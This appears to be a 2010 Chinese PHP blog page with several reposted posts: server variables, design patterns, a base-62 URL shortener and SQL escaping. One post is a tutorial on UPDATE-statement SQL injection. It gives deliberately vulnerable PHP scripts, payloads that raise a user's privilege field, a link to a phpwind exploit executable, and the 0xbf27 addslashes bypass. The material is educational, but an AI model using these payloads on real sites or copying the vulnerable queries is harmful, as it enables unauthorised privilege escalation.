Submitted by gouki on 2010, April 14, 4:37 PM
看到网上有篇文章,说是$_SERVER变量中的HTTP_HOST与SERVER_NAME不一样,打开网址后HTTP_HOST是全域名,而SERVER_NAME会显示根域名。
但是我采用了phpinfo看了一下,HTTP_HOST和SERVER_NAME是相同值,而并非是所说的不一样。
代码如下:
上面这段简单的代码里会显示$_SERVER变量的内容,搜索一下,HTTP_HOST与SERVER_NAME是一样的,都是www.neatstudio.com,当然这时候,我的路径是http://www.neatstudio.com/info.php,于是我尝试用http://neatstudio.com/info.php访问时,这两个值还是一样,当然都变成了neatstudio.com。
于是我翻开了手册想看看是怎么回事,为什么会有人说不一样。
手册上这么说:
- '
SERVER_NAME
' -
The name of the server host under which the current script is executing. If the script is running on a virtual host, this will be the value defined for that virtual host.
- '
HTTP_HOST
' -
Contents of the Host: header from the current request, if there is one.
看了上面的解释也基本上可以断定它基本是一样的,除非同一台服务器只有一个网站,但SERVER_NAME却与HOST不一样,或许会出现不同值。如果是虚拟主机,默认会以虚拟主机的值为准。为了测试,我在本地做了一个测试。
在hosts文件里加了127.0.0.1 www.neatcn.com 127.0.0.1 neatcn.com对应两个域名【强制在本地指定,否则会到使用域名真实IP】
然后在virtual host里,更换不同的ServerName 为neatcn.com和www.neatcn.com,但结果,都是根据访问路径来的,不管使用何种域名,HTTP_HOST和SERVER_NAME都是一致的,与访问路径中的hostname一致。
再对应一下那篇文章 ,由此基本可以鉴定那是一个SEO的文章,因为他在同一篇文章里介绍了两个域名还都不一致。唉。。。SEO沦落到如此地步了,刚开始看到的时候,我本来以为很激动的,我想着以后取根域名就方便了。不需要象现在还要根据不同的域名根来取根域名。。。
Tags: http_host, server_name, seo
PHP | 评论:1
| 阅读:21628
Submitted by gouki on 2010, April 5, 9:26 PM
寂寞hack的文章,简单的介绍了一些注入方法,可以了解一下,但并没有那样的实用,经知道现在很多框架、代码都采用了PDO,使用了prepare的方法,基本上可以避免这些问题的发生。当然,光靠这些是不一定能够完全避免的,代码上还是要严格控制一下。
原文来自于:http://hi.baidu.com/isbx/blog/item/35d86a605b1fbf48eaf8f851.html
一、测试环境
OS: Windowsxp sp2
php: php 4.3.10
mysql 4.1.9
apache 1.3.33
二、测试数据库结构
SQL代码
-
-
-
-
-
-
-
- CREATE TABLE `userinfo` (
- `groudid` varchar(12) NOT NULL default '1',
- `user` varchar(12) NOT NULL default 'heige',
- `pass` varchar(122) NOT NULL default '123456'
- ) ENGINE=MyISAM DEFAULT CHARSET=latin1;
-
-
-
-
-
- INSERT INTO `userinfo` VALUES ('2', 'heige', '123456')
三、测试模式
1、变量没有带''或""
PHP代码
- <?php
-
- $servername = "localhost";
- $dbusername = "root";
- $dbpassword = "";
- $dbname = "test";
-
- mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
-
- $sql = "update userinfo set pass=$p where user='heige'";
-
- $result = mysql_db_query($dbname, $sql);
- $userinfo = mysql_fetch_array($result);
-
- echo "<p>SQL Query:$sql<p>";
- ?>
脚本里只是修改 user='heige' 的 pass,如果 groudid 表示用户的权限等级,我们的目的就是通过构造 $p 来达到修改 groupid 的目的,那么我们提交:
http://127.0.0.1/test1.php?p=123456,groudid=1
在mysql里查询:
SQL代码
- mysql> select * from userinfo;
- +
- | groudid | user | pass |
- +
- | 1 | heige | 123456 |
- +
- 1 row in set (0.01 sec)
用户heige的groudid又2改为1了 :)
所以我们可以得到没有''或""update的注射是可以成功的,这个就是我们的模式1。
2、变量带''或""
PHP代码
- <?php
-
- $servername = "localhost";
- $dbusername = "root";
- $dbpassword = "";
- $dbname = "test";
-
- mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
-
- $sql = "update userinfo set pass='$p' where user='heige'";
-
- $result = mysql_db_query($dbname, $sql);
- $userinfo = mysql_fetch_array($result);
-
- echo "<p>SQL Query:$sql<p>";
- ?>
为了关闭'我们构造$p应该为 123456',groudid='2 提交:
http://127.0.0.1/test2.php?p=123456',groudid='1
在gpc=on的情况下'变成了\',提交的语句变成:
SQL Query:update userinfo set pass='123456\',groudid=\'1' where user='heige'
mysql查询:
SQL代码
- mysql> select * from userinfo;
- +
- | groudid | user | pass |
- +
- | 2 | heige | 123456',groudid='1 |
- +
- 1 row in set (0.00 sec)
groudid并没有被修改。那么在变量被''或""时 就完全没有被注射呢?不是 下面我们看模式2:
PHP代码
- <?php
-
- $servername = "localhost";
- $dbusername = "root";
- $dbpassword = "";
- $dbname = "test";
-
- mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
-
- $sql = "update userinfo set pass='$p' where user='heige'";
-
- $result = mysql_db_query($dbname, $sql);
- mysql_fetch_array($result);
-
- $sql= "select pass from userinfo where user='heige'";
- $result = mysql_db_query($dbname, $sql);
- $userinfo=mysql_fetch_array($result);
-
- echo $userinfo[0];
-
- $sql ="update userinfo set pass='$userinfo[0]' where user='heige'";
- $result = mysql_db_query($dbname, $sql);
- mysql_fetch_array($result);
-
- ?>
我们测试下,提交:
http://127.0.0.1/test3.php?p=123456',groudid='1
回mysql查询下 :
SQL代码
- mysql> select * from userinfo;
- +
- | groudid | user | pass |
- +
- | 1 | heige | 123456 |
- +
- 1 row in set (0.00 sec)
HaHa~~ 成功注射 修改groudid为1。 这个就是我们的模式2了,简单的描叙如下:
update --> select --> update
四、实际模式
模式1:缺
模式2:phpwind 2.0.2和3.31e 权限提升漏洞
漏洞分析
update (profile.php 注射变量为$proicon update语句里为,icon='$userdb[icon]')
↓
select (jop.php)
↓
updtate (jop.php)
Exploit: http://www.huij.net/9xiao/up/phpwind-exploit.exe
PHP | 评论:0
| 阅读:15260
Submitted by gouki on 2010, April 5, 9:18 PM
说实话,如果不是必要,真不是特别推荐采用proxy方法。特别是在PHP中,采用proxy势必会造成include文件过多。IO的消耗非常恐怖,如果又采用openbasedir,那么还要恐怖 。性能会下降的很厉害。。。
下面是老王的文章:
模式是程序员之间的交流语言,代理(Proxy)和委派(Delegate)是模式中常见的词汇,不过很多人把他们混淆了,甚至等同起来,这会造成很多沟通交流上的误解,下面说说他们的区别,先看一个UML图:
图形已经表述的很直白了,如果还不清晰,可以看看下面的代码:
PHP代码
- interface Subject
- {
- public function DoAction();
- }
-
- class RealSubject implements Subject
- {
- public function DoAction()
- {
- echo '_RealSubject::DoAction_';
- }
- }
-
- class Proxy implements Subject
- {
- public function __construct()
- {
- $this->subject = new RealSubject();
- }
-
- public function DoAction()
- {
- echo 'Proxy::DoAction';
- $this->subject->DoAction();
- echo 'Proxy::DoAction';
- }
- }
-
- $proxy = new Proxy();
- $proxy->DoAction();
运行结果输出:Proxy::DoAction_RealSubject::DoAction_Proxy::DoAction
如果你还没有看出端倪,我就再废话几句:首先从词性来看,代理(Proxy)是名词,委派(Delegate)是动词,其次代理说明了若干个对象实现了一个共同的接口,而委派只是说明一个对象引用了另一个对象,并不牵扯接口。
既然说到这了,就再唠叨几句:什么时候适合使用Proxy模式呢?对PHP而言,一般是当需要给对象附加额外的逻辑时,而这些逻辑和原有逻辑又分属不同的 层次,此时就可以考虑使用Proxy模式。听起来有点拗口,说一个实际的例子,比如说我们实现了Article对象,里面封装了CRUD方法,现在我们要 加入权限判断,控制CRUD的访问限制,这些新加入的逻辑属于应用逻辑,而原有的逻辑属于持久化逻辑,从分层角度看它们不应该放在一个对象里,此时就可以 创建一个ArticleProxy代理对象,用来实现权限判断,至于CRUD操作,则通过委派给Article对象来完成。
当年的JIVE论坛大量使用了此类方法,不过现在JIVE论坛早已销声匿迹,但思想还是可以借鉴的。通过使用代理模式,可以把不同侧重点的逻辑分别封装到 不同的对象里去(和装饰模式有点像,至于如何区分就是另一个话题了),从而避免God Class的产生,不过这样设计的结果会产生大量的类,孰重孰轻还得视客观情况而定。
原文来自:http://hi.baidu.com/thinkinginlamp/blog/item/2297a7efcb52a31afdfa3cc2.html
老王一天到晚在研究新奇玩意,上次说在PC下安装object-C,也是我挺喜欢的。
Tags: proxy, delegate
PHP | 评论:0
| 阅读:21044
Submitted by gouki on 2010, April 2, 10:00 PM
正好看到这篇文章 ,而且他也是用PHP的。所以就转一下,而且我自己也有一些短域名,可以用来做尝试。就象最近,新浪的围脖上,如果你贴了网站,他都会转成sinaurl的,这样对于新浪来说又多了一个PV。
原文如下
近来微博很火,因为字数的限制,出现了很多网址缩短这种服务,比如sina自己用了自家的sinaurl.cn,想到自己曾经也注册了一个很短的域名k6.hk很久了,一直闲着,不知道干嘛用,突然想到可以用来做网址缩短,还不错。说干就干,一会就写好了。比如我的博客地址就可以缩短成:http://k6.hk/u
程序的设计很简单,下面说下原理,
数据库只有两个字段seq(自增长数字)和url(数字的url地址,建立索引)。
用户输入一个url地址,查询表是否包含此url,如果存在,则返回seq的数字,
如果不存在,则插入数据库,得到一个新增加的自增seq数字,为了缩短数字占用的字符数,我们可以把abc等字母的大小写用上。这样10个数字,26个 小写字母,26个大小字母就组成了一个62进制了。比如数字10000000000(100亿)转换后就是aUKYOA,只有6位了,这样就能缩短很多的 网址了。
下面是php的进制转换代码,来源于php手册(简单吧),当然其他语言实现也是很简单的,
PHP代码
- <?php
-
- function dec2any( $num, $base=62, $index=false ) {
- if (! $base ) {
- $base = strlen( $index );
- } else if (! $index ) {
- $index = substr( "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" ,0 ,$base );
- }
- $out = "";
- for ( $t = floor( log10( $num ) / log10( $base ) ); $t >= 0; $t-- ) {
- $a = floor( $num / pow( $base, $t ) );
- $out = $out . substr( $index, $a, 1 );
- $num = $num - ( $a * pow( $base, $t ) );
- }
- return $out;
- }
-
- function any2dec( $num, $base=62, $index=false ) {
- if (! $base ) {
- $base = strlen( $index );
- } else if (! $index ) {
- $index = substr( "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", 0, $base );
- }
- $out = 0;
- $len = strlen( $num ) - 1;
- for ( $t = 0; $t <= $len; $t++ ) {
- $out = $out + strpos( $index, substr( $num, $t, 1 ) ) * pow( $base, $len - $t );
- }
- return $out;
- }
上面只是说了下实现的原理,如果要大规模的使用,后端可以抛弃数据,用key-value数据库存储,比如ttserver,将会有很高的性能提升。
如果改下ttserver的源代码,通过ttserver的http接口直接跳转,那么性能将会非常高,一台机器一天提供上10亿次的中专都不是问题。用两台机器就可以实现高可用了,这种服务都不怎么耗费流量的。
--EOF--
我倒是不太清楚这个ttserver,但是我想,如果安装了memcached,也会很不错的。首次命中后直接存在memcached里,下次就可以直接访问了。当然更可以做的是,完全生成相应的跳转文件。这样就比较无耻一点了。
PHP | 评论:0
| 阅读:15379
Submitted by gouki on 2010, March 31, 10:20 AM
与文中写的内容类似,很多人都只在用addslashes来加反斜杠,这是很久前的作法了。不过却依然有人在用啦。
自从PHP5开始,mysqli类和PDO类都有了prepare功能,所以自动加反斜杠这个功能,很多人都忘了。但对于仍在使用老版本的mysql连接库的用户来说,mysql_real_escape_string和mysql_escape_string以及addslashes就是常用方法了。
以下就是摘抄原文:
本文介绍的是用 mysql_real_escape_string对用户提交数据进行整理处理和通过addslashes以及mysql_escape_string这 3个类似的功能函数的区别。经过转义的数据可以直接插入到数据库中。
很好的说明了addslashes和mysql_real_escape_string的区别,虽然国内很多PHP coder仍在依靠addslashes防止SQL注入(包括我在内),我还是建议大家加强中文防止SQL注入的检查。addslashes的问题在于黑 客可以用0xbf27来代替单引号,而addslashes只是将0xbf27修改为0xbf5c27,成为一个有效的多字节字符,其中的0xbf5c仍 会被看作是单引号,所以addslashes无法成功拦截。
当然addslashes也不是毫无用处,它是用于单字节字符串的处理,多字节字符还是用mysql_real_escape_string吧。
另外对于php手册中get_magic_quotes_gpc的举例:
PHP代码
- if (!get_magic_quotes_gpc()) {
- $lastname = addslashes($_POST['lastname']);
- } else {
- $lastname = $_POST['lastname'];
- }
最好对magic_quotes_gpc已经开放的情况下,还是对$_POST[’lastname’]进行检查一下。
再说下mysql_real_escape_string和mysql_escape_string这2个函数的区别:
mysql_real_escape_string 必须在(PHP 4 >= 4.3.0, PHP 5)的情况下才能使用。否则只能用 mysql_escape_string ,两者的区别是:
mysql_real_escape_string 考虑到连接的当前字符集,而mysql_escape_string 不考虑。
总结一下:
- addslashes() 是强行加;
- mysql_real_escape_string() 会判断字符集,但是对PHP版本有要求;
- mysql_escape_string不考虑连接的当前字符集。
原文来自:http://www.phpq.net/tutorial/addslashes-mysql_real_escape_string.html,使用原始mysql连接函数的人需要注意一下。
其实说起来也烦恼呀。现在还有多少人在自己用着自己写的数据库类?都是框架框架再框架了。恐怕已经没有多少人知道连接数据库的方式了。只知道DB::factory("PDO","connect string....");之类的了。不过也算是个笔记吧
PHP | 评论:0
| 阅读:16636